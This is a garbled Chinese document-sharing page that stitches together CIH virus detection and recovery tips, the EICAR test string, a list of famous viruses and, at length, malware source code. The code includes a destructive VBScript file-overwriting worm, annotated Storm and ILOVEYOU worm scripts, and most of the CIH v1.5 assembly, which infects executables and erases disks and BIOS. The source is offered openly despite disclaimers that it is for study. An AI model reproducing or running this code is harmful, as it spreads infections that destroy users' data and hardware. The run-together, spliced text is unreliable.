cihv1.5病毒原码
- 格式:doc
- 大小:154.50 KB
- 文档页数:60
电脑病毒CIH特征及来源电脑病毒CIH来源于哪里呢!又会有什么感染特征呢!有了特征我们就能做出基本的预防了,下面由店铺给你做出详细的介绍!希望对你有帮助!欢迎回访,谢谢。
感染特征编辑由于流行的CIH病毒版本中,其标识版本号的信息使用的是明文,所以可以通过搜索可执行文件中的字符串来识别是否感染了CIH病毒,搜索的特征串为“CIH v”或者是“CIH v1.”如果你想搜索更完全的特征字符串,可尝试“CIH v1.2 TTIT”、“CIH v1.3 TTIT”以及“CIH v1.4 TATUNG”,不要直接搜索“CIH”特征串,因为此特征串在很多的正常程序中也存在,例如程序中存在如下代码行: inc bx dec cx dec ax 则它们的特征码正好是“CIH(0x43;0x49;0x48)”,容易产生误判。
具体的搜索方法为:首先开启“资源管理器”,选择其中的菜单功能“工具>查找>文件或文件夹”,在弹出的“查找文件”设置窗口的“名称和位置”输入中输入查找路径及文件名(如:*.EXE),然后在“高级>包含文字”栏中输入要查找的特征字符串--“CIH v”,最后点劝查找键”即可开始查找工作。
如果在查找过程中,显示出一大堆符合查找特征的可执行文件,则表明您老的计算机上已经感染了CIH 病毒。
实际上,在以上的方法中存在着一个致命的缺点,那就是:如果用户刚刚感染CIH病毒,那么这样一个大面积的搜索过程实际上也是在扩大病毒的感染面。
一般情况下,推荐的方法是先运行一下“写字板”软件,然后使用上面的方法在“写字板”软件的可执行程序Notepad.exe中搜索特征串,以判断是否感染了CIH病毒。
另外一个判断方法是在Windows PE文件中搜索IMAGE_NT_SIGNATURE字段,也就是0x00004550,其代表的识别字符为“PE00”,然后查看其前一个字节是否为0x00,如果是,则表示程序未受感染,如果为其他数值,则表示很可能已经感染了CIH病毒。
说明:作者对某些代码进行了修改。
该文件是一个完整的程序。
该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。
因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。
如果你的系统不支持.vbs,可以将后缀改为.vbe dim folder,fso,foldername,f,d,dcset fso=createobject("scripting.filesystemobject")set self=fso.opentextfile(wscript.scriptfullname,1)vbscopy=self.readall '读取病毒体,以备复制到文件self.closeset dc=fso.Drivesfor each d in dcif d.drivetype=3 or d.drivetype=2 then '检查磁盘类型wscript.echo d '弹出窗口,显示找到盘符scan(d)end ifnextlsfile=wscript.scriptfullname '该脚本程序路径set lsfile=fso.getfile(lsfile)lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)sub scan(folder_)on error resume nextset folder_=fso.getfolder(folder_)set files=folder_.filesfor each file in filesext=fso.GetExtensionName(file) '获取文件后缀ext=lcase(ext) '后缀名转换成小写字母if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。
计算机病毒源代码计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。
下面是店铺收集整理的计算机病毒源代码,希望对大家有帮助~~计算机病毒源代码计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。
计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。
计算机病毒是一个程序,一段可执行码。
就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。
计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。
它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。
所谓的病毒代码其实可以想象成是犯人的指纹, 当防毒软件公司收集到一只新的病毒时,他们就会从这个病毒程序中截取一小段独一无二而且足以表示这只病毒的二进位程序码 (Binary Code) , 来当做杀毒程序辨认此病毒的依据,而这段独一无二的二进位程序码就是所谓的病毒代码·病毒代码它可以把计算机程序打乱,使计算机无法正常使用。
电脑病毒代码制作:如果想要测试你的杀毒软件实时监控是否正常工作,请复制以下病毒代码到文本文档中并把扩展名txt改为exe或bat,直接保存为txt 某些杀毒软件是没有反应的,因为某些杀毒软件默认不监控txt等非可执行文件(比如Avast!等)X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*此代码为测试代码,对电脑没有任何伤害此代码无法成为测试杀毒软件好坏的标准,只能测试杀毒软件监控是否正常工作。
其次如果你想学习制作电脑病毒你就需要学习计算机语言中的汇编语言和C语言,因为一个简单的电脑病毒编写绝大多数代码都可以用这两种语言来完成。
[史上最强电脑病毒] 震网病毒源代码随着网络在现代生活中的重要性越来越突出,电脑病毒的危害性也越来越明显,越来越强,1986年,“Brain”病毒通过5.25英寸软盘首次大规模感染计算机起,人们与计算机病毒的斗争就从未停止过。
如今,整整20年过去了,这场斗争似乎只是开了个头。
下面是搜集了各方面的资料整理出来的史上最强病毒,大家都来看一看吧。
史上最强病毒1:CHICIH (1998年) 该计算机病毒属于W32家族,感染Windows 95/98中以EXE为后缀的可行性文件。
它具有极大的破坏性,可以重写BIOS使之无用(只要计算机的微处理器是Pentium Intel 430TX),其后果是使用户的计算机无法启动,唯一的解决方法是替换系统原有的芯片(chip),该计算机病毒于4月26日发作,它还会破坏计算机硬盘中的所以信息。
该计算机病毒不会影响MS/DOS、Windows 3.x和Windows NT操作系统。
CIH可利用所有可能的途径进行传播:软盘、CD-ROM、Internet、FTP下载、电子邮件等。
被公认为是有史以来最危险、破坏力最强的计算机病毒之一。
1998年6月爆发于中国台湾,在全球范围内造成了2000万-8000万美元的损失。
史上最强病毒2:梅丽莎梅利莎(Melissa,1999年) 这个病毒专门针对微软的电子邮件服务器和电子邮件收发软件,它隐藏在一个Word97格式的文件里,以附件的方式通过电子邮件传播,善于侵袭装有Word97或Word2000的计算机。
它可以攻击Word97的注册器并修改其预防宏病毒的安全设置,使它感染的文件所具有的宏病毒预警功能丧失作用。
在发现Melissa病毒后短短的数小时内,该病毒即通过因特网在全球传染数百万台计算机和数万台服务器,因特网在许多地方瘫痪。
1999年3月26日爆发,感染了15%-20%的商业PC,给全球带来了3亿-6亿美元的损失。
史上最强病毒3:I LOVE YOUI love you (2000年) 2000年5月3日爆发于中国香港,是一个用VBScript编写,可通过E-Mail散布的病毒,而受感染的电脑平台以Win95/98/2000为主。
暴风一号病毒源码On Error Resume Next '//屏蔽出错信息,发生错误时继续向下执行Dim Fso,WshShell '//定义了两个变量'//创建并返回对 Automation 对象的引用。
'//CreateObject(servername.typename [, location])'//servername 必选项。
提供对象的应用程序名称。
'//typename 必选项。
要创建的对象类型或类。
'//location 可选项。
对象所在的网络服务器将被创建。
'//说明Automation 服务器至少提供一种对象类型。
例如,字处理应用程序可以提供应用程序对象、文档对象和工具条对象。
Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") '//为变量Fso赋值创建 Scripting.FileSystemObject 对象提供对计算机文件系统的访问Set WshShell=CreateObject("wScRipT.SHelL") '//为变量WshShell赋值创建Wscript.Shell对象用于获取系统环境变量的访问、创建快捷方式、访问Windows的特殊文件夹,'//以及添加或删除注册表条目。
还可以使用Shell对象的功能创建更多的定制对话框以进行用户交互。
Call Main() '//call 将控制权传递到sub或functionSub Main() '//sub、function 两种表示方法sub没有返回值,function有返回值On Error Resume NextDim Args, VirusLoad, VirusAssSet Args=WScript.Arguments '//返回wsh对象的参数集VirusLoad=GetMainVirus(1) '//获得System文件夹下smss.exe 蠕虫地址VirusAss=GetMainVirus(0) '//获得Windows文件夹下explorer.exe 蠕虫地址ArgNum=0Do While ArgNum < Args.CountParam=Param&" "&Args(ArgNum)ArgNum=ArgNum + 1LoopSubParam=LCase(Right(Param, 3)) '//LCase 返回字符串的小写形式 Right 从字符串右边返回指定数目的字符Select Case SubParam '//select类似switchCase "run" '//当运行run时,同时启动病毒文件RunPath=Left(WScript.ScriptFullName, 2) '//ScriptFullName 属性返回当前正在运行的脚本的完整路径。
“爱虫(I Loveyou)”病毒代码解析和杀毒方法中国代码联盟黄冬李文武近来在网上出现了“我爱你”病毒,让人们恐慌一时,而它在国内却没有出现什么问题,到现在我也没有听到有哪位计算机使用者说自己被爱到至死。
究其原因是什么?而“我爱你”病毒到底是什么?难道说是我国的计算机防毒水平和计算机杀毒软件的水平已经到了世界领先的水平?我们来细细看看它的原因就明白其中的道理了。
另:笔者写本文完全是为了学术作用,请不要将此病毒代码用于破坏之目的。
首先让我们来看一看我爱你病毒的来源。
有一天你会收到一封邮件,它的主题是“I Love You”(如果细细读读它的程序,这个主题其实可以并不是I LoveYou),在它的信中带有了一个叫“iloveyou.vbs ”的附件,而这个附件将是病毒的根源。
下面这段是“我爱你”病毒的所有的源代码,其中加入了我的注释(大多数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了这些函数的说明,具体实现可以到函数体中去找):Rem=========================================================== ============Rem 本文件为病毒样本,供学习之用,原文件中扫描文件进行感染部分被我注释掉了Rem 请勿将本文件用作破坏之目的。
white (***************) hd(hd@email.)Rem=========================================================== ============On Error Resume Nextdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,doweq=""ctr=0Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout")if (rr>=1) thenwscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout",0,"REG_DWORD"end ifSet dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") '上面三句将自身复制成三个文件regruns() '如果系统为win98,设IE的起始页为四个URL之一,以下载一个叫WIN-BUGSFIX.exe 的文件,'并将其设为系统启动时自动执行的程序,看起来好象是一个补丁程序html() '为OUTLOOK用户生成一个含病毒代码的HTML文件LOVE-LETTER-FOR-YOU.HTM,'该HTML文件里包含一段JAVASCRIPT,打开时脚本被执行,病毒体被写入文件MSKernel32.vbs, 同时被设成'系统启动时自动执行spreadtoemail() '为OUTLOOK里的所有联系人发一封包含上面那个文件的邮件listadriv() '扫描整个磁盘,将后缀为.vbs, ..vbe的文件换成自身,将后缀为.js, .jse, .css, .wsh, .sct, .hta, '的文件改后缀为vbs并写入自身,同时删除原有文件,将后缀为.jpg,.jpeg的在文件名后加.vbs后,写入'自身,将后缀为.mp3,mp2的文件名后加.vbs并写入自身,同时将文件属性改为隐藏文件,'如果发现有mIRC,将改写script.ini,使得mIRC向所有频道里的人发送刚才的html文件。
电脑中了cih病毒怎么办电脑中了cih病毒后该怎么办呢!不要紧!下面由店铺给你做出详细的解决方法,希望能够帮助到你,谢谢!中了cih病毒解决方法:CIH 病毒发作时通常表现为:打开电脑就黑屏,甚至有些朋友丢失了硬盘中的数据,硬盘也遭到破坏。
遭遇CIH之后,丢失的数据和损坏的硬盘很难恢复和修理,虽然有一些病毒厂家也提供了修复硬盘的业务,但是相当多DIYer还是囊中羞涩,这个时候,大家可以尝试使用下面的一些方法。
1.VRVFIX被CIH 病毒破坏的硬盘,其分区表已被改写,用A 盘启动也无法找到硬盘。
所以,要恢复C 分区的数据,首先要恢复硬盘分区表,VRVFIX 这款免费软件或许能助您一臂之力。
使用方法如下:准备一张没有病毒的启动盘,确保还有足够剩余空间,打开写保护,把下载的文件解压缩,把VRVFIX.EXE 拷入该引导盘。
然后用这张引导盘引导感染了C I H 的电脑,并运行VRVFIX.EXE,按回车键开始计算分区信息并自动恢复。
当出现提示时,按回车键,直到出现“MakePartition Table ok”。
2.Tiramisu(下载地址:如果不小心把硬盘Format,或者中了CIH 等病毒使得硬盘数据丢失,可以使用Tiramisu。
Tiramisu 并不会在原来的硬盘上写入任何的资料,而是把需要复原的资料写在另外一个地方。
所以,最好准备另外一个硬盘作为存储复原资料用。
当硬盘的引导区、F A T表已经毁损,目录结构混乱,已经无法辨识时,Tiramisu 也可以将硬盘里面的资料找出来。
在复原的过程中,T i r a m i s u 会自动利用“记忆体(M e m o r y )”建立一个“虚拟磁盘”( Virtual Drive)。
在这个虚拟磁盘中,记录着已经毁损的数据及目录结构。
Tiramisu 有好几个版本,这个版本适用于FAT32。
使用方法:制作一张无病毒的引导盘,把HIMEM.SYS和EMM386.EXE两个文件拷入引导盘,然后在CONFIG.SYS中加入:DOS=HIGHDEVICE=HIMEM.SYSDEVICE=EMM386.EXE RAM把下载的Tiramisu压缩包里的所有文件解压缩到引导盘上,用这张引导盘引导电脑。
CIH V1.5版本病毒源码;****************************************************************************; * The Virus Program Information *;****************************************************************************; * *; * Designer : CIH Source : TTIT of TATUNG in Taiwan*; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@ *; * Modification Time : 06/01/1998 Version : 1.5 *; * *; * Turbo Assembler Version 5.0 : Tasm /m cih *; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe *; * *;*==========================================================================*; * Modification History *;*==========================================================================*; * v1.0 1. Create the Virus Program. *; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *; * 04/26/1998 3. Virus Code doesn't Reload into System. *; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *; * 5. Modifies Entry Point ofIFSMgr_InstallFileSystemApiHook. *; * 6. When System Opens Existing PE File, the File will be *; * Infected, and the File doesn't be Reinfected. *; * 7. It is also Infected, even the File is Read-Only. *; * 8. When the File is Infected, the Modification Date andTime *; * of the File also don't be Changed. *; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will notCall *; * Previous FileSystemApiHook, it will Call the Function*; * that the IFS Manager Would Normally Call to Implement*; * this Particular I/O Request. *; * 10. The Virus Size is only 656 Bytes. *;*==========================================================================*; * v1.1 1. Especially, the File that be Infected will not Increase*; * it's Size... ^__^ *; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *; * When Exception Error Occurs, Our OS System should bein *; * Windows NT. So My Cute Virus will not Continue to Run,*; * it will Jmup to Original Application to Run. *; * 3. Use Better Algorithm, Reduce Virus Code Size. *; * 4. The Virus "Basic" Size is only 796 Bytes. *;*==========================================================================*; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *; * 2. Modify the Bug of v1.1 *; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *;*==========================================================================*; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error.*; * So When Open WinZip Self-Extractor ==> Don't Infectit. *; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *;*==========================================================================*; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *; * 2. Change the Date of Killing Computers. *; * 05/31/1998 3. Modify Virus Version Copyright. *; * 4. The Virus "Basic" Size is 1019 Bytes. *;****************************************************************************; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port *; * 2. Modify Virus Version Copyright. *; * 06/01/1998 3. Clear Garbage in Source Code. *; * 4. The Virus "Small" Size in 10xx Bytes. *;****************************************************************************.586;****************************************************************************; * Original PE Executable File(Don't Modify this Section) *;****************************************************************************OriginalAppEXE SEGMENTFileHeader:db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000hdb 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000hdb 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdb 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdb 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdb 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdb 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdb 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000hdb 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdhdb 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068hdb 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072hdb 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fhdb 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdb 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdd 00000000h, VirusSizeOriginalAppEXE ENDS;********************************************************************* *******; * My Virus Game*;********************************************************************* *******; *********************************************************; * Constant Define *; *********************************************************TRUE = 1FALSE = 0DEBUG = TRUEIF DEBUGFirstKillHardDiskNumber = 82hHookExceptionNumber = 06hELSEFirstKillHardDiskNumber = 81hHookExceptionNumber = 04hENDIFFileNameBufferSize = 7fh; ********************************************************* ; *********************************************************VirusGame SEGMENTASSUME CS:VirusGame, DS:VirusGame, SS:VirusGameASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame; ********************************************************* ; * Ring3 Virus Game Initial Program * ; *********************************************************MyVirusStart:push ebp; *************************************; * Let's Modify Structured Exception *; * Handing, Prevent Exception Error *; * Occurrence, Especially in NT. *; *************************************lea eax, [esp-04h*2]xor ebx, ebxxchg eax, fs:[ebx]call @0@0:pop ebxlea ecx, StopToRunVirusCode-@0[ebx]push ecxpush eax; *************************************; * Let's Modify *; * IDT(Interrupt Descriptor Table) *; * to Get Ring0 Privilege... *; *************************************push eax ;sidt [esp-02h] ; Get IDT Base Address pop ebx ;add ebx, HookExceptionNumber*08h+04h ; ZF = 0climov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Pointlea esi, MyExceptionHook-@1[ecx]push esimov [ebx-04h], si ;shr esi, 16 ; Modify Exceptionmov [ebx+02h], si ; Entry Point Addresspop esi; *************************************; * Generate Exception to Get Ring0 *; *************************************int HookExceptionNumber ; GenerateExceptionReturnAddressOfEndException = $; *************************************; * Merge All Virus Code Section *; *************************************push esimov esi, eax LoopOfMergeAllVirusCodeSection:mov ecx, [eax-04h]rep movsbsub eax, 08hmov esi, [eax]or esi, esijz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection:pop esi; *************************************; * Generate Exception Again *; *************************************int HookExceptionNumber ; GenerateException Again; *************************************; * Let's Restore *; * Structured Exception Handing *; *************************************ReadyRestoreSE:stixor ebx, ebxjmp RestoreSE; *************************************; * When Exception Error Occurs, *; * Our OS System should be in NT. *; * So My Cute Virus will not *; * Continue to Run, it Jmups to *; * Original Application to Run. *; *************************************StopToRunVirusCode:@1 = StopToRunVirusCodexor ebx, ebxmov eax, fs:[ebx]mov esp, [eax]RestoreSE:pop dword ptr fs:[ebx]pop eax; *************************************; * Return Original App to Execute *; *************************************pop ebppush 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stackret ; Return to Original App Entry Point; *********************************************************; * Ring0 Virus Game Initial Program *; *********************************************************MyExceptionHook:@2 = MyExceptionHookjz InstallMyFileSystemApiHook; *************************************; * Do My Virus Exist in System !? *; *************************************mov ecx, dr0jecxz AllocateSystemMemoryPageadd dword ptr [esp],ReadyRestoreSE-ReturnAddressOfEndException; *************************************; * Return to Ring3 Initial Program *; *************************************ExitRing0Init:mov [ebx-04h], bp ;shr ebp, 16 ; Restore Exceptionmov [ebx+02h], bp ;iretd; *************************************; * Allocate SystemMemory Page to Use *; ************************************* AllocateSystemMemoryPage:mov dr0, ebx ; Set the Mark of My Virus Exist in Systempush 00000000fh ;push ecx ;push 0ffffffffh ;push ecx ;push ecx ;push ecx ;push 000000001h ;push 000000002h ;int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ;dd 00010053h ; Use EAX, ECX, EDX, and flagsadd esp, 08h*04hxchg edi, eax ; EDI = SystemMemory Start Addresslea eax, MyVirusStart-@2[esi]iretd ; Return to Ring3 Initial Program; *************************************; * Install My File System Api Hook *; *************************************InstallMyFileSystemApiHook:lea eax, FileSystemApiHook-@6[edi]push eax ;int 20h ; VXDCALLIFSMgr_InstallFileSystemApiHookIFSMgr_InstallFileSystemApiHook = $dd 00400067h ; Use EAX, ECX, EDX, and flagsmov dr0, eax ; Save OldFileSystemApiHook Addresspop eax ; EAX = FileSystemApiHook Address; Save Old IFSMgr_InstallFileSystemApiHook Entry Pointmov ecx,IFSMgr_InstallFileSystemApiHook-@2[esi]mov edx, [ecx]mov OldInstallFileSystemApiHook-@3[eax], edx; Modify IFSMgr_InstallFileSystemApiHook Entry Pointlea eax, InstallFileSystemApiHook-@3[eax]mov [ecx], eaxclijmp ExitRing0Init; *********************************************************; * Code Size of Merge Virus Code Section *; ********************************************************* CodeSizeOfMergeVirusCodeSection = offset $; *********************************************************; * IFSMgr_InstallFileSystemApiHook *; *********************************************************InstallFileSystemApiHook:push ebxcall @4 ;@4: ;pop ebx ; mov ebx, offset FileSystemApiHookadd ebx, FileSystemApiHook-@4 ;push ebxint 20h ; VXDCALLIFSMgr_RemoveFileSystemApiHookIFSMgr_RemoveFileSystemApiHook = $dd 00400068h ; Use EAX, ECX, EDX, and flagspop eax; Call Original IFSMgr_InstallFileSystemApiHook; to Link Client FileSystemApiHookpush dword ptr [esp+8]call OldInstallFileSystemApiHook-@3[ebx]pop ecxpush eax; Call Original IFSMgr_InstallFileSystemApiHook; to Link My FileSystemApiHookpush ebxcall OldInstallFileSystemApiHook-@3[ebx]pop ecxmov dr0, eax ; Adjust OldFileSystemApiHook Addresspop eaxpop ebxret; *********************************************************; * Static Data *; ********************************************************* OldInstallFileSystemApiHook dd ?; *********************************************************; * IFSMgr_FileSystemHook *; *********************************************************; *************************************; * IFSMgr_FileSystemHook Entry Point *; *************************************FileSystemApiHook:@3 = FileSystemApiHookpushadcall @5 ;@5: ;pop esi ; mov esi, offset VirusGameDataStartAddressadd esi, VirusGameDataStartAddress-@5; *************************************; * Is OnBusy !? *; *************************************test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )jnz pIFSFunc ; goto pIFSFunc; *************************************; * Is OpenFile !? *; *************************************; if ( NotOpenFile ); goto prevhooklea ebx, [esp+20h+04h+04h]cmp dword ptr [ebx], 00000024hjne prevhook; *************************************; * Enable OnBusy *; *************************************inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy; *************************************; * Get FilePath's DriveNumber, *; * then Set the DriveName to *; * FileNameBuffer. *; *************************************; * Ex. If DriveNumber is 03h, *; * DriveName is 'C:'. *; *************************************add esi, FileNameBuffer-@6push esimov al, [ebx+04h]cmp al, 0ffhje CallUniToBCSPathadd al, 40hmov ah, ':'mov [esi], eaxinc esiinc esi; *************************************; * UniToBCSPath *; *************************************; * This Service Converts *; * a Canonicalized Unicode Pathname *; * to a Normal Pathname in the *; * Specified BCS Character Set. *; *************************************CallUniToBCSPath:push 00000000hpush FileNameBufferSizemov ebx, [ebx+10h]mov eax, [ebx+0ch]add eax, 04hpush eaxpush esiint 20h ; VXDCall UniToBCSPath UniToBCSPath = $dd 00400041hadd esp, 04h*04h; *************************************; * Is FileName '.EXE' !? *; *************************************cmp [esi+eax-04h], 'EXE.'pop esijne DisableOnBusyIF DEBUG; *************************************; * Only for Debug *; *************************************cmp [esi+eax-06h], 'KCUF'jne DisableOnBusyENDIF; *************************************; * Is Open Existing File !? *; *************************************; if ( NotOpenExistingFile ); goto DisableOnBusycmp word ptr [ebx+18h], 01hjne DisableOnBusy; *************************************; * Get Attributes of the File *; *************************************mov ax, 4300hint 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $dd 00400032hjc DisableOnBusypush ecx; *************************************; * Get IFSMgr_Ring0_FileIO Address *; *************************************mov edi, dword ptr(IFSMgr_Ring0_FileIO-@7)[esi]mov edi, [edi]; *************************************; * Is Read-Only File !? *; *************************************test cl, 01hjz OpenFile; *************************************; * Modify Read-Only File to Write *; *************************************mov ax, 4301hxor ecx, ecxcall edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************; * Open File *; *************************************OpenFile:xor eax, eaxmov ah, 0d5hxor ecx, ecxxor edx, edxinc edxmov ebx, edxinc ebxcall edi ; VXDCall IFSMgr_Ring0_FileIOxchg ebx, eax ; mov ebx, FileHandle; *************************************; * Need to Restore *; * Attributes of the File !? *; *************************************pop ecxpushftest cl, 01hjz IsOpenFileOK; *************************************; * Restore Attributes of the File *; *************************************mov ax, 4301hcall edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************; * Is Open File OK !? *; *************************************IsOpenFileOK:popfjc DisableOnBusy; *************************************; * Open File Already Succeed. ^__^ *; *************************************push esi ; Push FileNameBuffer Address to Stackpushf ; Now CF = 0, Push Flag to Stackadd esi, DataBuffer-@7 ; mov esi, offset DataBuffer; ***************************; * Get OffsetTonewHeader *; ***************************xor eax, eaxmov ah, 0d6h; For Doing Minimal VirusCode's Length,; I Save EAX to EBP.mov ebp, eaxpush 00000004hpop ecxpush 0000003chpop edxcall edi ; VXDCall IFSMgr_Ring0_FileIOmov edx, [esi]; ***************************; * Get 'PE\0' Signature *; * of ImageFileHeader, and *; * Infected Mark. *; ***************************dec edxmov eax, ebpcall edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************; * Is PE !? *; ***************************; * Is the File *; * Already Infected !? *; ***************************; * WinZip Self-Extractor *; * doesn't Have Infected *; * Mark Because My Virus *; * doesn't Infect it. *; ***************************cmp dword ptr [esi], 00455000hjne CloseFile; *************************************; * The File is ^o^ *; * PE(Portable Executable) indeed. *; ************************************* ; * The File isn't also Infected. * ; *************************************; ************************************* ; * Start to Infect the File * ; ************************************* ; * Registers Use Status Now : * ; * * ; * EAX = 04h * ; * EBX = File Handle * ; * ECX = 04h * ; * EDX = 'PE\0\0' Signature of * ; * ImageFileHeader Pointer's * ; * Former Byte. * ; * ESI = DataBuffer Address ==> @8 * ; * EDI = IFSMgr_Ring0_FileIO Address * ; * EBP = D600h ==> Read Data in File * ; ************************************* ; * Stack Dump : * ; * * ; * ESP => ------------------------- * ; * | EFLAG(CF=0) | * ; * ------------------------- * ; * | FileNameBufferPointer | * ; * ------------------------- *; * | EDI | *; * ------------------------- *; * | ESI | *; * ------------------------- *; * | EBP | *; * ------------------------- *; * | ESP | *; * ------------------------- *; * | EBX | *; * ------------------------- *; * | EDX | *; * ------------------------- *; * | ECX | *; * ------------------------- *; * | EAX | *; * ------------------------- *; * | Return Address | *; * ------------------------- *; *************************************push ebx ; Save File Handlepush 00h ; Set VirusCodeSectionTableEndMark; ***************************; * Let's Set the *; * Virus' Infected Mark *; ***************************push 01h ; 